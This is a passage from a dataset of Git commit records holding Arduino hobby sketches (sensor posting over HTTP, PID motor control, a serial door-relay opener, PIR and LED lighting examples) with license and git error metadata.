(client.available()) {\n char c = client.read();\n Serial.write(c);\n \/\/ if you've gotten to the end of the line (received a newline\n \/\/ character) and the line is blank, the http request has ended,\n \/\/ so you can send a reply\n if (c == '\\n' && currentLineIsBlank) {\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println(\"Connection: close\"); \/\/ the connection will be closed after completion of the response\n client.println(\"Refresh: 5\"); \/\/ refresh the page automatically every 5 sec\n client.println();\n client.println(\"<!DOCTYPE HTML>\");\n client.println(\"<html>\");\n \/\/ output the value of each analog input pin\n for (int analogChannel = 0; analogChannel < 6; analogChannel++) {\n int sensorReading = analogRead(analogChannel);\n client.print(\"analog input \");\n client.print(analogChannel);\n client.print(\" is \");\n client.print(sensorReading);\n client.println(\"<br \/>\");\n }\n client.println(\"<\/html>\");\n break;\n }\n if (c == '\\n') {\n \/\/ you're starting a new line\n currentLineIsBlank = true;\n }\n else if (c != '\\r') {\n \/\/ you've gotten a character on the current line\n currentLineIsBlank = false;\n }\n }\n }\n \/\/ give the web browser time to receive the data\n delay(1);\n \/\/ close the connection:\n client.stop();\n Serial.println(\"client disconnected\");\n }\n *\/\n\n \/\/ if ten seconds have passed since your last connection,\n \/\/ then connect again and send data:\n if (millis() - lastConnectionTime > postingInterval) {\n httpRequest(0, analogRead(0));\n }\n}\n\nvoid readResponse() { \n \/\/Read http response\n if (sendClient.available()) {\n char c = sendClient.read();\n Serial.write(c);\n }\n}\n\n\/\/ this method makes a HTTP connection to the server:\nvoid httpRequest(int sensor, int value) {\n \/\/ close any connection before send a new request.\n \/\/ This will free the socket on the WiFi shield\n sendClient.stop();\n\n String path = \"\/coleta\/\" + String(sensor) + \"\/\" + String(value);\n\n \/\/ if there's a successful connection:\n if (sendClient.connect(serverName, 80)) {\n Serial.println(\"connecting...\");\n \/\/ send the HTTP PUT request:\n sendClient.println(\"GET \" + path + \" HTTP\/1.1\");\n sendClient.println(\"Host: smart-trash.app.hackinpoa.tsuru.io\");\n sendClient.println(\"User-Agent: arduino-ethernet\");\n sendClient.println(\"Connection: close\");\n sendClient.println();\n\n \/\/sendClient.print(\"Content-Length: \");\n \/\/sendClient.println(postData.length());\n \/\/sendClient.println();\n \/\/sendClient.println(postData);\n \n sendClient.println();\n\n \/\/ note the time that the connection was made:\n lastConnectionTime = millis();\n }\n else {\n \/\/ if you couldn't make a connection:\n Serial.println(\"connection failed\");\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c328e6cd38f3eb94dc4d072cc8a86fb827cf9efc","subject":"Create motor_4.ino","message":"Create motor_4.ino","repos":"RationalAsh\/invkin,RationalAsh\/invkin,RationalAsh\/invkin","old_file":"arduino\/motor_4.ino","new_file":"arduino\/motor_4.ino","new_contents":"#include <Wire.h>\n \ndouble potcurval; \/\/ variable to read the value from the analog pin \nint angel; \/\/Integer value of angle\n double angle =0;\n\n double curangle,kP=32.00,kI=45,kD=1.5,Last=0;\n double P=0,I=0,D=0,Drive,Error=0,Integral=0;\n \n\n void backward()\n {\n digitalWrite(12,HIGH);\n digitalWrite(9,LOW);\n }\n void forward()\n {\n digitalWrite(12,LOW);\n digitalWrite(9,HIGH);\n }\n void halt()\n {\n digitalWrite(12,LOW);\n digitalWrite(9,LOW);\n }\nvoid setup() \n{ \n \/\/ myservo.attach(6); \/\/ attaches the servo on pin 9 to the servo object \n pinMode(9,OUTPUT);\n pinMode(12,OUTPUT);\n Serial.begin(9600);\n pinMode(11,OUTPUT);\n Wire.begin(4);\n Wire.onReceive(receiveEvent);\n pinMode(13, OUTPUT);\n} \n void Errorcalc()\n {\n potcurval=(double)analogRead(A0)+1;\n potcurval=(potcurval\/1024)*5;\n curangle=(potcurval\/5)*270;\n \n Error = curangle-angle;\n }\nvoid loop() \n{ \n Serial.print(\"got: \");\n\t Serial.println(angle);\n\t if(angle > 127) digitalWrite(13, HIGH);\n\t else digitalWrite(13, LOW);\n Errorcalc();\n if (abs(Error) <1.0){ \/\/ prevent integral 'windup'\n Integral = Integral + Error; \/\/ accumulate the error integral\n }\n else {\n Integral=0; \/\/ zero it if out of bounds\n }\n P = Error*kP; \/\/ calc proportional term\n I = Integral*kI; \/\/ integral term\n D = (Last-curangle)*kD; \/\/ derivative term\n \n Drive = P + I + D; \/\/ Total drive = P+I+D\n \n \/\/Drive = (Drive\/550)*255; \/\/ scale Drive to be in the range 0-255\n \n if(abs(Drive) < 60)\n {\n Drive += (Drive\/abs(Drive)) *60;\n }\n if (abs(Drive)>255) {\n Drive=(Drive\/abs(Drive)) *255;\n }\n \n \n Serial.println(Error);\n if (Error < 0){ \/\/ Check which direction to go.\n forward();\n \n }\n else if(Error >=0){ \/\/ depending on the sign of Error\n backward();\n \n }\n \n if(abs(Error)<2)\n {\n halt();\n Serial.println(\"break !!!\");\n }\n \n analogWrite (11,abs(Drive)); \/\/ send PWM command to motor board\n Last=curangle;\n \/*\n Serial.println(\"P :\");\n Serial.println(P);\n Serial.println(\"I :\");\n Serial.println(I);\n Serial.println(\"D :\");\n Serial.println(D);\n *\/\n\n}\nvoid receiveEvent(int howMany)\n{\n int x = Wire.read();\n angle = (double) x;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/motor_4.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4dc9ffcb951560ea5a8674416064cbaa4569ac2c","subject":"Added arduino source code.","message":"Added arduino source code.\n","repos":"cybercatalyst\/dooropener,cybercatalyst\/dooropener","old_file":"arduino\/arduino.ino","new_file":"arduino\/arduino.ino","new_contents":"\/\/\n\/\/ This file is part of DoorOpener.\n\/\/ Copyright (c) 2014 Jacob Dawid <jacob@omg-it.works>\n\/\/\n\/\/ DoorOpener is free software: you can redistribute it and\/or modify\n\/\/ it under the terms of the GNU Affero General Public License as\n\/\/ published by the Free Software Foundation, either version 3 of the\n\/\/ License, or (at your option) any later version.\n\/\/\n\/\/ DoorOpener is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\/\/ GNU Affero General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Affero General Public\n\/\/ License along with DoorOpener.\n\/\/ If not, see <http:\/\/www.gnu.org\/licenses\/>.\n\/\/\n\n#define RELAIS_DOOR_OUT_1 7\n#define RELAIS_DOOR_OUT_2 8\n#define BELL_IN 2\n#define BEEP_OUT 13\n\n#define BUFFER_SIZE 256\n\nchar *readBuffer = (char*)malloc(sizeof(char) * BUFFER_SIZE);\nint readBufferPosition = 0;\n\nvoid setup() {\n \/\/ Set up serial port connection\n Serial.begin(9600);\n \n \/\/ Set pin IO modes\n pinMode(RELAIS_DOOR_OUT_1, OUTPUT);\n pinMode(RELAIS_DOOR_OUT_2, OUTPUT);\n pinMode(BELL_IN, INPUT);\n pinMode(BEEP_OUT, OUTPUT);\n\n \/\/ Turn off door opener\n digitalWrite(RELAIS_DOOR_OUT_1, LOW);\n digitalWrite(RELAIS_DOOR_OUT_2, LOW);\n}\n\nvoid loop() {\n \/\/ Check if bell rings at bell input pin\n if(digitalRead(BELL_IN) == HIGH) {\n Serial.println(\"bell\\n\"); \n }\n \n \/\/ Read data from serial port if available\n while(Serial.available() > 0) {\n char c = Serial.read();\n \n \/\/ If line ends or maximum buffer size reached, handle line\n if(c == '\\n' || c == '\\r' || (readBufferPosition == BUFFER_SIZE - 1)) {\n readBuffer[readBufferPosition] = 0;\n handleInputLine();\n readBufferPosition = 0;\n \n \/\/ Otherwise, append character\n } else {\n readBuffer[readBufferPosition] = c;\n readBufferPosition++; \n }\n } \n}\n\n\/\/ Handles a server command\nvoid handleInputLine() {\n if (readBuffer[0] == '1') {\n digitalWrite(RELAIS_DOOR_OUT_1, HIGH);\n } else if (readBuffer[0] == '0') {\n digitalWrite(RELAIS_DOOR_OUT_1, LOW);\n }\n \n if (readBuffer[1] == '1') {\n digitalWrite(RELAIS_DOOR_OUT_2, HIGH);\n } else if (readBuffer[1] == '0') {\n digitalWrite(RELAIS_DOOR_OUT_2, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/arduino.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"459037ab15269533717510c7ae96ef753a47aa7e","subject":"move sketch out of examples folder","message":"move sketch out of examples folder\n","repos":"Seeed-Studio\/PIR_Motion_Sensor","old_file":"PIRMotionSensor\/PIRMotionSensor.ino","new_file":"PIRMotionSensor\/PIRMotionSensor.ino","new_contents":"\/*\n * PIRMotionSensor.ino\n * Example sketch for the PIR motion sensor\n *\n * Copyright (c) 2013 seeed technology inc.\n * Website : www.seeed.cc\n * Author : FrankieChu\n * Create Time: Jan 21,2013\n * Change Log :\n *\n * The MIT License (MIT)\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n \n \n\/*****************************************************************************\/\n\/\/ Function: If the sensor detects the moving people in it's detecting range,\n\/\/\t\t\t the Grove - LED is turned on.Otherwise, the LED is turned off.\n\/\/ Hardware: Grove - PIR Motion Sensor, Grove - LED\n\/\/\tArduino IDE: Arduino-1.0\n\/*******************************************************************************\/\n\/*macro definitions of PIR motion sensor pin and LED pin*\/\n#define PIR_MOTION_SENSOR 2\/\/Use pin 2 to receive the signal from the module \n#define LED\t4\/\/the Grove - LED is connected to D4 of Arduino\n\nvoid setup()\n{\n\tpinsInit();\n}\n\nvoid loop() \n{\n\tif(isPeopleDetected())\/\/if it detects the moving people?\n\t\tturnOnLED();\n\telse\n\t\tturnOffLED();\n}\nvoid pinsInit()\n{\n\tpinMode(PIR_MOTION_SENSOR, INPUT);\n\tpinMode(LED,OUTPUT);\n}\nvoid turnOnLED()\n{\n\tdigitalWrite(LED,HIGH);\n}\nvoid turnOffLED()\n{\n\tdigitalWrite(LED,LOW);\n}\n\/***************************************************************\/\n\/*Function: Detect whether anyone moves in it's detecting range*\/\n\/*Return:-boolean, ture is someone detected.*\/\nboolean isPeopleDetected()\n{\n\tint sensorValue = digitalRead(PIR_MOTION_SENSOR);\n\tif(sensorValue == HIGH)\/\/if the sensor value is HIGH?\n\t{\n\t\treturn true;\/\/yes,return ture\n\t}\n\telse\n\t{\n\t\treturn false;\/\/no,return false\n\t}\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'PIRMotionSensor\/PIRMotionSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ef9e3981f12088b0fdf74968e9fb1226591a6800","subject":"and we can simply unify this \u2026","message":"and we can simply unify this \u2026\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"GearingTest\/GearingTest.ino","new_file":"GearingTest\/GearingTest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"6c3df7ee67faed9f5ce46dd1c5d04ee17de8feff","subject":"Create lighthouse_beacon_v2_anti-aliased.ino","message":"Create lighthouse_beacon_v2_anti-aliased.ino","repos":"marmilicious\/FastLED_examples","old_file":"lighthouse_beacon_v2_anti-aliased.ino","new_file":"lighthouse_beacon_v2_anti-aliased.ino","new_contents":"\/\/***************************************************************\n\/\/ rotating beacon for lighthouse emulation, Anti-aliased version\n\/\/ Marc Miller, Nov 2015\n\/\/\n\/\/Based on Mark Kriegsman's Anti-aliased light bar example here:\n\/\/http:\/\/pastebin.com\/yAgKs0Ay#\n\/\/***************************************************************\n\n#include \"FastLED.h\"\n#define LED_TYPE NEOPIXEL\n#define DATA_PIN 6\n\/\/#define CLOCK_PIN 13\n#define NUM_LEDS 12\n\/\/#define COLOR_ORDER GRB\n#define BRIGHTNESS 255\nCRGB leds[NUM_LEDS];\n\nint8_t hue = 42; \/\/ Light color\nint8_t sat = 190; \/\/ Saturation\nint8_t val = BRIGHTNESS; \/\/ Max brightness of light\nuint8_t pixelPos = 0; \/\/ position of the \"fraction-based bar\"\nint delta = -1; \/\/ Number of 16ths of a pixel to move. (Use negative value for reverse.)\nuint8_t width = 3; \/\/ width of light in pixels\nuint16_t holdTime = 80; \/\/ Milliseconds to hold between microsteps.\nint8_t fadeRate = 40; \/\/ Fade ends a bit.\n \n\n\/\/---------------------------------------------------------------\nvoid setup() {\n \/\/FastLED.addLeds<LED_TYPE, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.addLeds<LED_TYPE, DATA_PIN>(leds, NUM_LEDS);\n FastLED.setBrightness(BRIGHTNESS);\n \/\/Serial.begin(115200); \n}\n\n\n\/\/---------------------------------------------------------------\n\/\/ Fractional bar funtion\nvoid drawFractionalBar( uint8_t pos16, uint8_t width, uint8_t hue)\n{\n uint8_t i = pos16 \/ 16; \/\/ convert from pos to raw pixel number\n uint8_t frac = pos16 & 0x0F; \/\/ extract the 'factional' part of the position\n uint8_t firstpixelbrightness = 255 - (frac * 16);\n uint8_t lastpixelbrightness = 255 - firstpixelbrightness;\n uint8_t bright;\n for( uint8_t n = 0; n <= width; n++) {\n if( n == 0) {\n bright = firstpixelbrightness;\n leds[i] += CHSV( hue, sat, bright);\n \/\/fadeToBlackBy( leds, NUM_LEDS, fadeRate ); \/\/ creates outward fade\n }\n else if (n == width) {\n bright = lastpixelbrightness;\n leds[i] += CHSV( hue, sat, bright);\n fadeToBlackBy( leds, NUM_LEDS, fadeRate ); \/\/ creates outward fade\n }\n else {\n bright = 255; \/\/ center pixel full bright\n leds[i] += CHSV( hue, sat, bright);\n }\n i++;\n if( i == NUM_LEDS) i = 0; \/\/ wrap around\n }\n}\n\n\/\/---------------------------------------------------------------\nvoid loop() { \/\/ START MAIN LOOP\n if (delta > 0) {\n pixelPos += delta;\n } else {\n pixelPos = (pixelPos + delta + (NUM_LEDS *16)) % (NUM_LEDS * 16);\n }\n\n if( pixelPos >= (NUM_LEDS * 16)) {\n pixelPos -= (NUM_LEDS * 16);\n }\n\n static byte countdown = 0;\n if( countdown == 0) { countdown = 16; } \/\/ reset countdown\n countdown -= 1; \/\/ decrement once each loop though\n\n memset8( leds, 0, NUM_LEDS * sizeof(CRGB)); \/\/ Clear the pixel buffer\n drawFractionalBar( pixelPos, width, hue); \/\/ Draw the pixels\n FastLED.show(); \/\/ Show the pixels\n delay(holdTime); \/\/ Delay a bit before micro advancing\n\n} \/\/ END MAIN LOOP\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'lighthouse_beacon_v2_anti-aliased.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c4ab29bda8d141e3602ae7bc136872fa5b5ca2ea","subject":"minor bug","message":"minor bug\n","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/ProgramExecutor.ino","new_file":"LaundryMachine\/ProgramExecutor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"199406cfa41c6f011ee94a25fa0b44d2fb16bbcb","subject":"Add button interrupt example","message":"Add button interrupt example\n","repos":"andrewadare\/arduino-201,andrewadare\/arduino-201","old_file":"examples\/button-interrupt\/button-interrupt.ino","new_file":"examples\/button-interrupt\/button-interrupt.ino","new_contents":"#define BUTTON_PIN 2;\n#define LED_PIN 13;\n\nvolatile uint8_t pinState = LOW;\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT);\n pinMode(BUTTON_PIN, INPUT_PULLUP);\n attachInterrupt(digitalPinToInterrupt(BUTTON_PIN), toggle, CHANGE);\n}\n\nvoid loop() {\n digitalWrite(LED_PIN, pinState);\n}\n\nvoid toggle() {\n pinState = !pinState;\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/button-interrupt\/button-interrupt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d5a0a048abf475012ec74eef76bdb8703e59c7ad","subject":"Example using aramp","message":"Example using aramp\n","repos":"samguyer\/adel","old_file":"examples\/gentlelight.ino","new_file":"examples\/gentlelight.ino","new_contents":"\/\/ #define ADEL_DEBUG 1\n\n#include <adel.h>\n\n\/** Use a button to turn a light on\/off slowly\n * \n * Uses the aramp command to turn light on\/off over a specific period of time\n *\/\n\n#define LED_PIN 5\n#define BUTTON_PIN 4\n\nvoid setup()\n{\n delay(1000);\n Serial.begin(9600);\n pinMode(LED_PIN, OUTPUT);\n pinMode(BUTTON_PIN, INPUT);\n digitalWrite(LED_PIN, LOW);\n}\n\n\/** Wait for a button\n * \n * First wait for the pin to go high, then debounce, then wait for the\n * button to go low. The key feature of this routine is that it does not\n * return until the button is pressed.\n *\/\nadel waitbutton(int pin)\n{\n abegin:\n while (1) {\n await (digitalRead(pin) == HIGH);\n adelay (50);\n if (digitalRead(pin) == HIGH) {\n await (digitalRead(pin) == LOW);\n afinish;\n }\n }\n aend;\n}\n\n\/** blink\n * \n * Blink an LED continuously at some interval\n *\/\nadel blink(int pin, int interval)\n{\n abegin:\n while (1) {\n digitalWrite(pin, HIGH);\n adelay(interval);\n digitalWrite(pin, LOW);\n adelay(interval);\n }\n aend;\n}\n\nadel rampuplight(int pin, int howlong)\n{\n int val;\n abegin:\n aramp(howlong, val, 0, 255) {\n analogWrite(pin, val);\n adelay(50);\n }\n analogWrite(pin, 255);\n aend;\n}\n\nadel rampdownlight(int pin, int howlong)\n{\n int val;\n abegin:\n aramp(howlong, val, 255, 0) {\n analogWrite(pin, val);\n adelay(50);\n }\n analogWrite(pin, 0);\n aend;\n}\n\nadel buttonblink()\n{\n int howlong;\n abegin:\n \/\/ -- Wait for button to get started\n andthen( waitbutton(BUTTON_PIN) );\n \/\/ -- Initially, make the light go fast\n howlong = 1000;\n while (1) {\n auntil( waitbutton(BUTTON_PIN) , rampuplight(LED_PIN, howlong) );\n auntil( waitbutton(BUTTON_PIN) , rampdownlight(LED_PIN, howlong) );\n \/\/ -- On each cycle, make it go slower\n howlong += 1000;\n }\n aend;\n}\n\nvoid loop()\n{\n arepeat( buttonblink() );\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/gentlelight.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9b0cb756161a1d6657510082f92df4f7b958d5ac","subject":"Add circuit playground express version.","message":"Add circuit playground express version.\n","repos":"adafruit\/TechnoTiki","old_file":"Techno_Tiki_Circuit_Playground_Express\/Techno_Tiki_Circuit_Playground_Express.ino","new_file":"Techno_Tiki_Circuit_Playground_Express\/Techno_Tiki_Circuit_Playground_Express.ino","new_contents":"\/\/ Techno-Tiki RGB LED Torch with IR Remote Control for Circuit Playground Express\n\/\/ This version ONLY works with Circuit Playground Express boards:\n\/\/ https:\/\/www.adafruit.com\/product\/3333\n\/\/ Created by Tony DiCola\n\/\/\n\/\/ See guide at: https:\/\/learn.adafruit.com\/techno-tiki-rgb-led-torch\/overview\n\/\/\n\/\/ Released under a MIT license: http:\/\/opensource.org\/licenses\/MIT\n#include <Adafruit_CircuitPlayground.h> \n\n#if !defined(ARDUINO_SAMD_CIRCUITPLAYGROUND_EXPRESS)\n #error \"This sketch requires Circuit Playground Express, it doesn't work with the Classic version or other boards!\"\n#endif\n\n#define BRIGHTNESS 255 \/\/ Brightness of the neopixels, set to 255 for max or lower for less bright.\n\n\/\/ Adafruit IR Remote Codes:\n#define ADAF_MINI_VOLUME_DOWN 0xfd00ff\n#define ADAF_MINI_PLAY_PAUSE 0xfd807f\n#define ADAF_MINI_VOLUME_UP 0xfd40bf\n#define ADAF_MINI_SETUP 0xfd20df\n#define ADAF_MINI_UP_ARROW 0xfda05f\n#define ADAF_MINI_STOP_MODE 0xfd609f\n#define ADAF_MINI_LEFT_ARROW 0xfd10ef\n#define ADAF_MINI_ENTER_SAVE 0xfd906f\n#define ADAF_MINI_RIGHT_ARROW 0xfd50af\n#define ADAF_MINI_0_10_PLUS 0xfd30cf\n#define ADAF_MINI_DOWN_ARROW 0xfdb04f\n#define ADAF_MINI_REPEAT 0xfd708f\n#define ADAF_MINI_1 0xfd08f7\n#define ADAF_MINI_2 0xfd8877\n#define ADAF_MINI_3 0xfd48b7\n#define ADAF_MINI_4 0xfd28d7\n#define ADAF_MINI_5 0xfda857\n#define ADAF_MINI_6 0xfd6897\n#define ADAF_MINI_7 0xfd18e7\n#define ADAF_MINI_8 0xfd9867\n#define ADAF_MINI_9 0xfd58a7\n\n\/\/ Define which remote buttons are associated with sketch actions.\n#define COLOR_CHANGE ADAF_MINI_RIGHT_ARROW \/\/ Button that cycles through color animations.\n#define ANIMATION_CHANGE ADAF_MINI_LEFT_ARROW \/\/ Button that cycles through animation types (only two supported).\n#define SPEED_CHANGE ADAF_MINI_UP_ARROW \/\/ Button that cycles through speed choices.\n#define POWER_OFF ADAF_MINI_VOLUME_DOWN \/\/ Button that turns off\/sleeps the pixels.\n#define POWER_ON ADAF_MINI_VOLUME_UP \/\/ Button that turns on the pixels. Must be pressed twice to register!\n\n\n\/\/ Build lookup table\/palette for the color animations so they aren't computed at runtime.\n\/\/ The colorPalette two-dimensional array below has a row for each color animation and a column\n\/\/ for each step within the animation. Each value is a 24-bit RGB color. By looping through\n\/\/ the columns of a row the colors of pixels will animate.\nconst int colorSteps = 8; \/\/ Number of rows\/animations.\nconst int colorCount = 24; \/\/ Number of columns\/steps.\nconst uint32_t colorPalette[colorCount][colorSteps] = {\n \/\/ Complimentary colors \n { 0xFF0000, 0xDA2424, 0xB64848, 0x916D6D, 0x6D9191, 0x48B6B6, 0x24DADA, 0x00FFFF }, \/\/ Red-cyan\n { 0xFFFF00, 0xDADA24, 0xB6B648, 0x91916D, 0x6D6D91, 0x4848B6, 0x2424DA, 0x0000FF }, \/\/ Yellow-blue\n { 0x00FF00, 0x24DA24, 0x48B648, 0x6D916D, 0x916D91, 0xB648B6, 0xDA24DA, 0xFF00FF }, \/\/ Green-magenta\n\n \/\/ Adjacent colors (on color wheel).\n { 0xFF0000, 0xFF2400, 0xFF4800, 0xFF6D00, 0xFF9100, 0xFFB600, 0xFFDA00, 0xFFFF00 }, \/\/ Red-yellow\n { 0xFFFF00, 0xDAFF00, 0xB6FF00, 0x91FF00, 0x6DFF00, 0x48FF00, 0x24FF00, 0x00FF00 }, \/\/ Yellow-green\n { 0x00FF00, 0x00FF24, 0x00FF48, 0x00FF6D, 0x00FF91, 0x00FFB6, 0x00FFDA, 0x00FFFF }, \/\/ Green-cyan\n { 0x00FFFF, 0x00DAFF, 0x00B6FF, 0x0091FF, 0x006DFF, 0x0048FF, 0x0024FF, 0x0000FF }, \/\/ Cyan-blue\n { 0x0000FF, 0x2400FF, 0x4800FF, 0x6D00FF, 0x9100FF, 0xB600FF, 0xDA00FF, 0xFF00FF }, \/\/ Blue-magenta\n { 0xFF00FF, 0xFF00DA, 0xFF00B6, 0xFF0091, 0xFF006D, 0xFF0048, 0xFF0024, 0xFF0000 }, \/\/ Magenta-red\n\n \/\/ Other combos.\n { 0xFF0000, 0xDA2400, 0xB64800, 0x916D00, 0x6D9100, 0x48B600, 0x24DA00, 0x00FF00 }, \/\/ Red-green\n { 0xFFFF00, 0xDAFF24, 0xB6FF48, 0x91FF6D, 0x6DFF91, 0x48FFB6, 0x24FFDA, 0x00FFFF }, \/\/ Yellow-cyan\n { 0x00FF00, 0x00DA24, 0x00B648, 0x00916D, 0x006D91, 0x0048B6, 0x0024DA, 0x0000FF }, \/\/ Green-blue\n { 0x00FFFF, 0x24DAFF, 0x48B6FF, 0x6D91FF, 0x916DFF, 0xB648FF, 0xDA24FF, 0xFF00FF }, \/\/ Cyan-magenta\n { 0x0000FF, 0x2400DA, 0x4800B6, 0x6D0091, 0x91006D, 0xB60048, 0xDA0024, 0xFF0000 }, \/\/ Blue-red\n { 0xFF00FF, 0xFF24DA, 0xFF48B6, 0xFF6D91, 0xFF916D, 0xFFB648, 0xFFDA24, 0xFFFF00 }, \/\/ Magenta-yellow \n\n \/\/ Solid colors fading to dark.\n { 0xFF0000, 0xDF0000, 0xBF0000, 0x9F0000, 0x7F0000, 0x5F0000, 0x3F0000, 0x1F0000 }, \/\/ Red\n { 0xFF9900, 0xDF8500, 0xBF7200, 0x9F5F00, 0x7F4C00, 0x5F3900, 0x3F2600, 0x1F1300 }, \/\/ Orange\n { 0xFFFF00, 0xDFDF00, 0xBFBF00, 0x9F9F00, 0x7F7F00, 0x5F5F00, 0x3F3F00, 0x1F1F00 }, \/\/ Yellow\n { 0x00FF00, 0x00DF00, 0x00BF00, 0x009F00, 0x007F00, 0x005F00, 0x003F00, 0x001F00 }, \/\/ Green\n { 0x0000FF, 0x0000DF, 0x0000BF, 0x00009F, 0x00007F, 0x00005F, 0x00003F, 0x00001F }, \/\/ Blue\n { 0x4B0082, 0x410071, 0x380061, 0x2E0051, 0x250041, 0x1C0030, 0x120020, 0x090010 }, \/\/ Indigo\n { 0x8B00FF, 0x7900DF, 0x6800BF, 0x56009F, 0x45007F, 0x34005F, 0x22003F, 0x11001F }, \/\/ Violet\n { 0xFFFFFF, 0xDFDFDF, 0xBFBFBF, 0x9F9F9F, 0x7F7F7F, 0x5F5F5F, 0x3F3F3F, 0x1F1F1F }, \/\/ White\n\n \/\/ Rainbow colors.\n { 0xFF0000, 0xFF9900, 0xFFFF00, 0x00FF00, 0x0000FF, 0x4B0082, 0x8B00FF, 0xFFFFFF }\n};\n\n\/\/ List of animations speeds (in milliseconds). This is how long an animation spends before\n\/\/ changing to the next step. Higher values are slower.\nconst uint16_t speeds[5] = { 400, 200, 100, 50, 25 };\n\n\/\/ Global state used by the sketch:\nuint8_t colorIndex = 0;\nuint8_t animationIndex = 0;\nuint8_t speedIndex = 2;\nbool powerDown = false;\n\n\nvoid setup(void) {\n CircuitPlayground.begin(BRIGHTNESS);\n CircuitPlayground.irReceiver.enableIRIn();\n Serial.begin(115200);\n}\n\nvoid loop(void) {\n \/\/ Check for remote control presses.\n handleRemote();\n \/\/ Skip doing anything if in power down mode. This prevents the pixels from animating.\n if (powerDown) {\n return;\n }\n \/\/ Main loop will first update all the pixels based on the current animation.\n for (int i = 0; i < CircuitPlayground.strip.numPixels(); ++i) {\n switch (animationIndex) {\n case 0: \n {\n \/\/ Animation 0, solid color pulse of all pixels.\n uint8_t currentStep = (millis()\/speeds[speedIndex])%(colorSteps*2-2);\n if (currentStep >= colorSteps) {\n currentStep = colorSteps-(currentStep-(colorSteps-2));\n }\n uint32_t color = colorPalette[colorIndex][currentStep];\n CircuitPlayground.strip.setPixelColor(i, color);\n break;\n }\n case 1: \n {\n \/\/ Animation 1, moving color pulse. Use position to change brightness.\n uint8_t currentStep = (millis()\/speeds[speedIndex]+i)%(colorSteps*2-2);\n if (currentStep >= colorSteps) {\n currentStep = colorSteps-(currentStep-(colorSteps-2));\n }\n uint32_t color = colorPalette[colorIndex][currentStep];\n CircuitPlayground.strip.setPixelColor(i, color);\n break;\n }\n }\n }\n \/\/ Show the updated pixels.\n CircuitPlayground.strip.show();\n delay(100);\n}\n\nvoid handleRemote() {\n \/\/ Stop if no remote code was received.\n if (!CircuitPlayground.irReceiver.getResults()) {\n return;\n }\n \n \/\/ Stop if no NEC IR message was decoded yet.\n if (!CircuitPlayground.irDecoder.decode() || (CircuitPlayground.irDecoder.protocolNum != NEC)) {\n CircuitPlayground.irReceiver.enableIRIn(); \/\/ Restart receiver \n return;\n }\n\n \/\/ Perform the appropriate remote control action.\n switch(CircuitPlayground.irDecoder.value) {\n case COLOR_CHANGE:\n \/\/ Color change command, increment the current color animation and wrap\n \/\/ back to zero when past the end.\n Serial.println(\"Color change!\");\n colorIndex = (colorIndex+1)%colorCount;\n break;\n case ANIMATION_CHANGE:\n \/\/ Animation change command, increment the current animation type and wrap\n \/\/ back to zero when past the end.\n Serial.println(\"Animation change!\");\n animationIndex = (animationIndex+1)%2;\n break;\n case SPEED_CHANGE:\n \/\/ Speed change command, increment the current speed and wrap back to zero\n \/\/ when past the end.\n Serial.println(\"Speed change!\");\n speedIndex = (speedIndex+1)%5;\n break;\n case 